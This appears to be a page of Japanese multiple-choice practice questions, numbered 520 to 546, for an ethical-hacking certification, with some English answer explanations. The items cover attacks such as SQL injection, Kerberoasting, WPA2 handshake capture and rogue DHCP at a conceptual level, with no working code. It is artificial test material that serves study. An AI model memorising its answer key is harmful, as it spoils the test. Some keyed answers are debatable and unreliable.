セキュリティ管理者のジョン・スミスは、夜間にローカルコンピュータから異常な量のトラフィックが発生していることに気づいた。調査の結果、ユーザーデータが攻撃者によって外部に持ち出されていたことが判明した。
ウイルス対策ツールでは悪意のあるソフトウェアは検出されず、IDS/IPSもホワイトリストに登録されていないプログラムを報告していません。攻撃者はどのような種類のマルウェアを使用して、会社のアプリケーションホワイトリストを回避したのでしょうか？
A. ゼロデイマルウェア
B. ファイルレスマルウェア
C. ロジックボムマルウェア
D. フィッシングマルウェア
正解: (正解を表示します)

質問: **520**
大規模組織において、ネットワークセキュリティアナリストが、異常と思われる一連のパケットキャプチャを発見した。ネットワークはスイッチングイーサネット環境で運用されている。セキュリティチームは、攻撃者がスニファツールを使用している可能性があると疑っている。ネットワークがスイッチング方式であることを考慮すると、攻撃者はどのような手法を用いてこの攻撃を成功させている可能性があるか？
A. 攻撃者はスイッチのメモリを過負荷にするためにMACフラッディング攻撃を実行している可能性があります。
B. 攻撃者は、ネットワークに直接接続するために物理的なセキュリティを侵害している可能性があります。
C. 攻撃者は、大きなステルス上の利点をもたらす受動的なスニッフィングを使用している可能性があります。
D. 攻撃者は、おそらく盗聴機能を内蔵したトロイの木馬を使用しています。
正解: (正解を表示します)

質問: **521**
HackerOneなどのプラットフォーム上で企業が開設する脆弱性開示プログラムの一般的な名称は何ですか？
A. 脆弱性探索プログラム
B. ホワイトハットハッキングプログラム
C. 倫理的ハッキングプログラム

D. バグ報奨金プログラム
正解: **D** (コメントを発表する)

質問: **522**
以下のツールのうち、パッシブOSフィンガープリンティングに使用できるものはどれですか？
A. nmap
B. ping
C. tcpdump
D. トレーサート
正解: (正解を表示します)
tcpdump can capture and analyze network traffic without actively interacting with the target, allowing passive OS fingerprinting based on packet characteristics such as TTL values, TCP window sizes, and protocol behavior.

質問: **523**
セキュリティ専門家のロンは、自社で使用しているWebアプリケーションとSaaSプラットフォームの侵入テストを実施していました。テスト中に、ハッカーがAPIオブジェクトに不正アクセスし、会社の機密データを閲覧、更新、削除するなどの操作を実行できる脆弱性を発見しました。上記のシナリオで明らかになったAPIの脆弱性とは何でしょうか？
A. コードインジェクション
B. ビジネスロジックの欠陥
C. CORSの不適切な使用
D. ABAC検証なし
正解: (正解を表示します)

質問: **524**
ミズーリ州カンザスシティにある物流テクノロジープロバイダーは、倫理的ハッカーが複数の顧客向けウェブアプリケーションにおいて、繰り返し発生する入力処理の脆弱性を指摘したことを受け、社内調査を実施した。
調査結果によると、検証ロジックはモジュールごとに異なり、多くの制御機能が別々のチームによって開発されたコンポーネント間で一貫性なく実装されていることが明らかになった。
発見された不具合に対処するため、直ちにパッチが適用されるものの、修正アップデートにもかかわらず、過去のプラットフォームバージョンでも同様の問題が再発している。経営陣は、個別の修正では不十分であると判断し、今後の開発イニシアチブ全体にわたってセキュリティ要件の定義と組み込み方法を標準化する取り組みを開始する。
ウェブアプリケーション攻撃対策に基づくと、この修復アプローチに最も適したカテゴリはどれですか？
A. 安全性の低い設計
B. アクセス制御の不具合
C. セキュリティ設定ミス
D. 暗号化の失敗／機密データの漏洩

正解: (正解を表示します)
The issue stems from inconsistent and recurring weaknesses across multiple modules due to how security requirements are defined and integrated during development. The remediation focuses on standardizing security requirements at the design level rather than fixing individual flaws, which aligns with addressing insecure design in web application security.

質問: **525**
グローバル企業のWebアプリケーションセキュリティチームは、アプリケーションの入力検証の脆弱性を悪用した高度なインジェクション攻撃を検出しました。この攻撃は、難読化と回避技術を用いてセキュリティ対策を迂回するカスタムスクリプトを使用して実行されました。今後このような攻撃に対抗するため、セキュリティチームは追加のセキュリティ対策の導入を検討しています。以下のうち、最も効果的な対策はどれでしょうか？
A. 回避検出機能を内蔵したWebアプリケーションファイアウォール(WAF)を導入する。
B. すべてのユーザーレベルのアプリケーションアクセスに対して二要素認証(2FA)を強制します。
C. 継続的なセキュリティコードレビューと侵入テストを実施する。
D. セキュリティ情報およびイベント管理 (SIEM) を設定して、ユーザーのアクティビティをリアルタイムで監視します。
正解: (正解を表示します)
A Web Application Firewall with evasion detection can identify and block obfuscated injection payloads in real time by analyzing request patterns and decoding evasion techniques, directly addressing the method used in the attack.

質問: **526**
ローマはセキュリティチームの一員です。彼女は組織の内部ネットワークを差し迫った脅威から保護する任務を負っています。この任務を遂行するために、ローマは脅威インテリジェンスをデジタル形式でセキュリティデバイスに入力し、組織のネットワークに侵入する悪意のある送受信トラフィックをブロックおよび識別しました。ローマは内部ネットワークを保護するために、どのような種類の脅威インテリジェンスを使用していますか？
A. 戦術的脅威インテリジェンス
B. 技術的脅威インテリジェンス
C. 運用上の脅威インテリジェンス
D. 戦略的脅威インテリジェンス
正解: (正解を表示します)

質問: **527**
侵入テスト担当者が、スマートホームシステムで使用されているIoTサーモスタットを評価しています。このデバイスは、アップデートやコマンドを取得するためにクラウドサーバーと通信します。テスト担当者は、デバイスとクラウドサーバー間の通信が暗号化されていないことを発見しました。この脆弱性を悪用する最も効果的な方法は何でしょうか？
A. 中間者攻撃(MitM攻撃)を用いて、暗号化されていない通信を傍受・改ざんする。
B. サーモスタットのウェブインターフェースに対してクロスサイトスクリプティング(XSS)攻撃を実施する
C. サーモスタットのローカル管理者ログインに対して総当たり攻撃を実行する
D. クラウドサーバーのログインページに対してSQLインジェクション攻撃を実行する
正解: **(**正解を表示します**)**
Unencrypted communication between the IoT device and the cloud server allows an attacker to intercept and alter data in transit. A man-in-the-middle attack enables eavesdropping on commands or injecting malicious instructions, directly exploiting the lack of transport encryption.

質問: **528**
ある大企業は、広範囲にわたるソーシャルエンジニアリングの手法に対抗するための予防策を実施する計画を立てている。同社は、既知の攻撃ペイロードを検出するためにシグネチャベースの侵入検知システム(IDS)を導入し、ネットワークに出入りするデータを監視するネットワークフロー分析も実施している。同社は現在、次のステップについて検討中である。
様々なソーシャルエンジニアリングの手法に関する情報を踏まえ、組織は次にどのような行動をとるべきでしょうか？
A. 警備員を増員し、主要なアクセスポイントを物理的に監視する。
B. ハニーポットを設置して、潜在的な攻撃者を分析用の制御された環境に誘い込む。
C. エンドポイントの活動を監視するために、エンドポイント検出・対応ソリューションを導入する。
D. ソーシャルエンジニアリングの手法と予防策に関する従業員向けの定期的な意識向上研修を実施する。
正解: **D (**コメントを発表する**)**

質問: **529**
大手オンライン小売業者が、顧客アカウントへの不正アクセスや不正取引を含む一連のセキュリティインシデントに見舞われています。調査の結果、攻撃者が高度なセッションハイジャック技術を用いてユーザーセッションを侵害し、不正行為を行っている疑いがあります。セキュリティチームは、さらなる侵害を防ぎ、顧客の信頼を守るための強力な対策を講じる任務を負っています。上記の状況を踏まえ、シナリオベース攻撃に類似した高度なセッションハイジャック技術のうち、セキュリティチームが効果的に検知・軽減することが最も困難であり、小売業者のウェブサイト上でのオンライン取引のセキュリティを侵害する可能性のあるものはどれでしょうか？

A. クリックジャッキング攻撃：悪意のあるiframeを埋め込んで、ユーザーを騙して小売業者のウェブサイト上で意図しない操作を実行させる
B. 盗まれた認証情報を使用してアクティブなユーザーセッションを乗っ取り、不正行為を実行するクレデンシャルスタッフィング攻撃
C. クロスサイトリクエストフォージェリ(CSRF)攻撃：ユーザーリクエストを操作して不正な取引を開始する
D. セッションリプレイ攻撃：暗号化されたセッショントークンをキャプチャして再生し、不正アクセスを取得する
正解: (正解を表示します)
A session replay attack involves capturing valid session tokens or requests and replaying them to impersonate legitimate users. Because the attacker uses authentic session data and encrypted traffic, these attacks are difficult to distinguish from normal user behavior and can directly compromise authenticated transactions.

質問: **530**
2025年7月7日、活気あふれるテクノロジーの中心地シリコンバレーで、サイバーセキュリティ調査員のエレナ・マルティネスはホライゾン・テック・ソリューションズで深夜の調査に没頭していました。同社は、研究チームが重要なプロジェクトファイルにアクセスできないという散発的なネットワーク障害の発生を報告していました。エレナは、午前0時から太平洋夏時間午前3時までメンテナンス時間に紛れて作業し、研究開発部門用に予約されたサブネットに焦点を当てて社内ネットワークの監視を開始しました。彼女は、各障害の直前に失敗した接続試行のパターンが記録されており、複数のホストが一時的なIPアドレスの競合を報告していることに気付きました。不正行為を疑い、エレナは内部の脅威シナリオをシミュレートする慎重なテストを展開しました。その後まもなく、いくつかのワークステーションで見慣れないゲートウェイ設定が表示され、通常のアクセス試行中にユーザーを誤解を招くログインポータルにリダイレクトし始めました。これらの異常にもかかわらず、セキュリティアラートはトリガーされませんでした。
エレナはどのような種類の攻撃手法をシミュレートした可能性が高いでしょうか?
A. DHCP スターベーション攻撃
B. パケットスニッフィング
C. MACフラッディング
D. 不正なDHCPサーバー攻撃
正解: (正解を表示します)
The presence of incorrect gateway settings and redirection of users to malicious portals indicates that a rogue system is assigning network configuration to clients. This behavior is characteristic of a rogue DHCP server, which provides fake IP settings such as gateway and DNS to redirect traffic without triggering typical alerts.

質問: **531**
Javaアプリケーションでは、ユーザーが制御するパス経由でのファイルダウンロードが可能です。どのような攻撃が可能でしょうか？
A. SQLインジェクション
B. 経路探索
C. XSS
D. CSRF

正解: **(**正解を表示します**)**
User-controlled file paths can allow attackers to access files outside the intended directory structure by using directory traversal sequences, resulting in a path traversal vulnerability.

質問: **532**
以下のSQLインジェクション攻撃のうち、元のクエリによって返される結果を拡張し、元のクエリと同じ構造を持つ2つ以上のステートメントを実行できるようにするものはどれですか？
A. UNION SQLインジェクション
B. ブラインドSQLインジェクション
C. ブール値に基づくブラインドSQLインジェクション
D. エラーベースの注入
正解: **(**正解を表示します**)**

質問: **533**
セキュリティ研究者が、標的組織の公開されているクラウドインフラストラクチャを分析している。
研究者はウェブサイトのHTMLソースコードを調査する中で、Amazon S3にホストされているファイルへの直接参照を発見しました。ターゲットが使用している、一般にアクセス可能なバケットURLをさらに特定する最も効果的な方法は何でしょうか？
A. SQLインジェクションを使用して、データベースから内部ファイルパスを抽出します。
B. XSSを悪用して、ページにS3リンクを表示させる。
C. パケットスニッフィングを実行して、内部のS3バケット名を傍受します。
D. Googleの高度な検索演算子を使用してS3バケットのURLを列挙します。
正解: **D (**コメントを発表する**)**
Google advanced search operators can be used to passively discover publicly exposed Amazon S3 bucket URLs indexed by search engines. This method does not require interaction with the target's infrastructure and is effective for uncovering additional accessible buckets referenced across public content.

質問: **534**
SQLインジェクション(SQLi)攻撃は、WebリクエストにSQL構文を挿入しようとするもので、認証を回避し、攻撃者がWebアプリケーションに添付されたデータにアクセスしたり、変更したりすることを可能にする可能性があります。
以下のSQLインジェクションの種類のうち、データベースサーバーのDNSリクエスト機能を利用して攻撃者にデータを渡すものはどれですか？
A. 帯域外SQLインジェクション
B. 時間ベースのブラインドSQLインジェクション
C. インバンドSQLインジェクション
D. ユニオンベースのSQLインジェクション
正解: **(**正解を表示します**)**

質問: **535**

ある組織は、Kerberos認証を使用したActive Directoryを利用しています。内部列挙中に、テスターはサービスプリンシパル名(SPN)が割り当てられている複数のサービスアカウントを特定しました。
どの攻撃手法が、オフラインでのパスワード解析のために暗号化されたサービスチケットを入手しようとするものか？
A. パス ・ザ ・ハッシュ
B. ケルベロースティング
C. ゴールデンチケット
D. AS-REP ロースト
正解: **(**正解を表示します**)**
Kerberoasting requests Kerberos service tickets for accounts associated with SPNs. These tickets are encrypted using the service account's password-derived key and can be cracked offline if weak passwords are used. Pass-the-Hash reuses NTLM hashes, Golden Tickets involve forged TGTs, and AS-REP Roasting targets accounts that do not require Kerberos preauthentication.

質問: **536**
マサチューセッツ州ボストンにあるレッドウッド ・フィナンシャル ・グループでは、セキュリティ責任者チームが、連携した4つの活動からなる継続的なセキュリティ戦略を策定している。導入計画段階では、1つのチームが企業環境全体の運用データをレビューし、悪意のある活動を示す可能性のある異常なパターンを特定する責任を負う。
このモデルにおいて、この責任を負うのはどの活動でしょうか？
A. 予測
B. 保護
C. 応答
D. 検出
正解: **D (**コメントを発表する**)**
This activity focuses on continuously analyzing operational data to identify anomalies and indicators of malicious behavior. In a security operations lifecycle, this corresponds to detection, where monitoring systems and analytics are used to recognize suspicious patterns and potential threats within the environment.

質問: **537**
アリゾナ州フェニックスの陽光あふれるテクノロジーのオアシスで、倫理的ハッカーのナディア ・パテルは、数千人の学生にサービスを提供する米国拠点のeラーニングプラットフォーム、LearnSphereの内部構造を調査した。アプリケーションのリソース共有メカニズムを評価する任務を負ったナディアは、プラットフォームのコンテンツ配信エンドポイントとやり取りするためのHTTPリクエストを作成した。彼女のテストにより、深刻な欠陥が明らかになった。アクセス制御ヘッダーの設定が不適切だったため、許可されていないドメインからのクロスオリジンリクエストが許容され、保護されたコース教材へのアクセスが可能になっていたのだ。プラットフォームの強化を決意したナディアは、LearnSphereのセキュリティチームに明確で実行可能なガイダンスを提供するために、調査結果を文書化した。
ナディアはLearnSphereのWebアプリケーションにおいて、どの脆弱性を悪用している可能性が最も高いでしょうか？

A. ディレクトリー覧
B. デフォルトの認証情報漏洩
C. CORS設定ミス
D. 詳細なエラーメッセージ
正解: **(**正解を表示します**)**
The issue involves improperly configured access-control headers that allow unauthorized domains to make cross-origin requests and access protected resources. This is characteristic of a CORS misconfiguration, where overly permissive settings expose sensitive data to external origins.

質問: **538**
以下の戦術のうち、悪意のあるコードを使用してユーザーのウェブトラフィックをリダイレクトするものはどれですか？
A. ファーミング
B. スピミング
C. フィッシング
D. スピアフィッシング
正解: **(**正解を表示します**)**

質問: **539**
レッドチームによるシミュレーションで、ユーザーの活動状況に基づいて動作を変化させ、コードを動的に変更することで検出を回避するマルウェアが明らかになった。このマルウェアは、システムがアイドル状態のときにのみデータを流出し、通信には暗号化されたチャネルを使用する。これらの特徴に基づくと、このマルウェアの最も可能性の高い性質は何だろうか？
A. 機械学習を用いて実行をカスタマイズするAI搭載マルウェア。
B. 複製中に特徴が変化する多型性ウイルス。
C. 既知のOSの脆弱性を悪用して拡散するワーム。
D. ファイルやプロセスを検出から隠すルートキット。
正解: **(**正解を表示します**)**
The malware demonstrates adaptive decision-making based on user behavior, dynamically alters its code, and times data exfiltration to evade detection, which aligns with AI-powered malware that leverages machine learning to optimize stealth and persistence.

質問: **540**
多国籍企業に勤務するサイバーセキュリティアナリストは、競合他社のデジタルプレゼンスを定期的に監視し、戦略的な変化や潜在的な脅威を示す可能性のある変更を特定する任務を負っています。競合他社のウェブコンテンツの更新情報を常に把握するために、アナリストは複数のツールとテクニックを用いて効率的に目標を達成する計画を立てました。しかし、彼の戦略には見落としている重要な要素があります。監視戦略を効果的に実施するために、彼が追加すべき最も重要な要素は次のうちどれでしょうか？
A. 競合他社のブログやフォーラムで議論に参加し、彼らの事業運営に関する内部情報を入手する。
B. 競合他社のウェブサイトを訪問する際にVPNサービスを使用して、自身のIPアドレスを隠す。

C. Googleアラートを設定して、新しいウェブコンテンツに競合他社の名前やその他のキーワードが含まれるたびにメール通知を受け取るようにします。
D. 第三者サービスを雇って競合他社のデータベースにハッキングし、機密データを収集する。
正解: **(**正解を表示します**)**
Google Alerts provides automated notifications when new content matching specified keywords appears online, enabling continuous, passive monitoring of competitors' web updates without direct interaction or legal and ethical risks.

質問: **541**
攻撃者のスティーブは、ソーシャルメディアサイトに偽のプロフィールを作成し、ステラにリクエストを送った。
ステラはスティーブのプロフィール写真とプロフィールに書かれた説明に魅了され、リクエストを承認するとすぐに彼に話しかけました。数日後、スティーブは彼女の会社の詳細について尋ね始め、最終的に彼女の会社に関するすべての重要な情報を集めました。上記のシナリオでスティーブが用いたソーシャルエンジニアリングの手法は何でしょうか？
A. 横流し窃盗
B. ピギーバック
C. ハニートラップ
D. 餌付け
正解: **(**正解を表示します**)**

質問: **542**
ダラスの製造会社でのレッドチーム演習中、ペネトレーションテスターのタイラーはWindowsワークステーションへのアクセスに成功しました。演習の後半で、彼は持ち出したログを確認し、従業員のログイン情報、メールの下書き、デスクトップアプリケーションに入力された機密データの詳細な記録を発見しました。このログ収集は、ブラウザインジェクションや物理デバイスへのアクセスを必要とせず、カーネルドライバーもインストールされていませんでした。
タイラーが使用したキーロガーの種類はどれでしょうか?
A. JavaScript キーロガー
B. ハードウェアキーロガー
C. カーネルキーロガー
D. アプリケーション キーロガー

正解: (正解を表示します)
The keylogger captures user input at the application level without needing browser injection, kernel drivers, or physical hardware, which is characteristic of an application-level keylogger.

質問: **543**
プロのハッカーであるロバートは、ターゲットとなるIoTデバイスに対してフォールトインジェクション攻撃を実行しようとしています。この攻撃では、電源にフォールトを注入してリモート実行を可能にし、重要な命令のスキップも引き起こします。また、チップ全体に同期信号を伝送するために使用されるクロックネットワークにもフォールトを注入します。上記のシナリオでロバートが実行しているフォールトインジェクション攻撃の種類は次のうちどれでしょうか？
A. 電源/クロック/リセットの不具合
B. 光学的、電磁気的故障注入(EMFI)
C. 温度攻撃
D. 周波数／電圧改ざん
正解: (正解を表示します)

質問: **544**
侵入テスト担当者は、旧式のソフトウェアを実行しているWebサーバーの脆弱性を特定する任務を負っています。このサーバーは複数のWebアプリケーションをホストしており、基本的なファイアウォールで保護されています。テスト担当者は、サーバーの潜在的な脆弱性を悪用するために、どの手法を使用すべきでしょうか？
A. 管理パネルに対してブルートフォースログイン攻撃を実行する
B. ディレクトリトラバーサルを使用して機密設定ファイルにアクセスします
C. Webアプリケーションのログインフォームに対してSQLインジェクション攻撃を実行する
D. Webサーバーソフトウェアを標的としたバッファオーバーフロー攻撃を実行する
正解: (正解を表示します)
Outdated web server software is most commonly susceptible to memory-handling flaws such as buffer overflows, which allow attackers to exploit the server process itself rather than individual web applications, potentially leading to remote code execution.

質問: **545**
攻撃者は、産業制御システムで使用されているパスワードを解読しようとしました。この過程で、攻撃者はループ戦略を用いてパスワードを復元しました。攻撃者は一度に1文字ずつ入力し、最初に入力した文字が正しいかどうかを確認しました。正しい場合は、次の文字に対してループを続けました。正しくない場合は、ループを終了しました。さらに、攻撃者はデバイスが1回のパスワード認証プロセスを完了するのに要した時間を調べ、それによって入力された文字のうち正しい文字数を推測しました。攻撃者が産業制御システムのパスワードを解読するために用いた攻撃手法は何ですか？
A. サイドチャネル攻撃
B. HMIベースの攻撃
C. バッファオーバーフロー攻撃
D. サービス拒否攻撃

正解: **(**正解を表示します**)**

質問: **546**
侵入テスト担当者は、WPA2-PSK暗号化を使用している企業の無線ネットワークを侵害する任務を負っています。テスト担当者は、WPA2ハンドシェイクをキャプチャして事前共有鍵を解読したいと考えています。これを実現するための最も適切なアプローチは何でしょうか？
A. WPA2暗号化に対して直接ブルートフォース攻撃を実行する
B. ルーターの管理パネルに対してクロスサイトスクリプティング(XSS)攻撃を実行する
C. ルーターのMACアドレスを偽装して中間者攻撃を実行する
D. 認証解除攻撃を使用してクライアントに再接続を強制し、WPA2ハンドシェイクをキャプチャする
正解: **D (**コメントを発表する**)**
A de-authentication attack forces a connected client to disconnect and reconnect to the access point. This reconnection triggers the WPA2 four-way handshake, which can then be captured and used for offline cracking of the pre-shared key.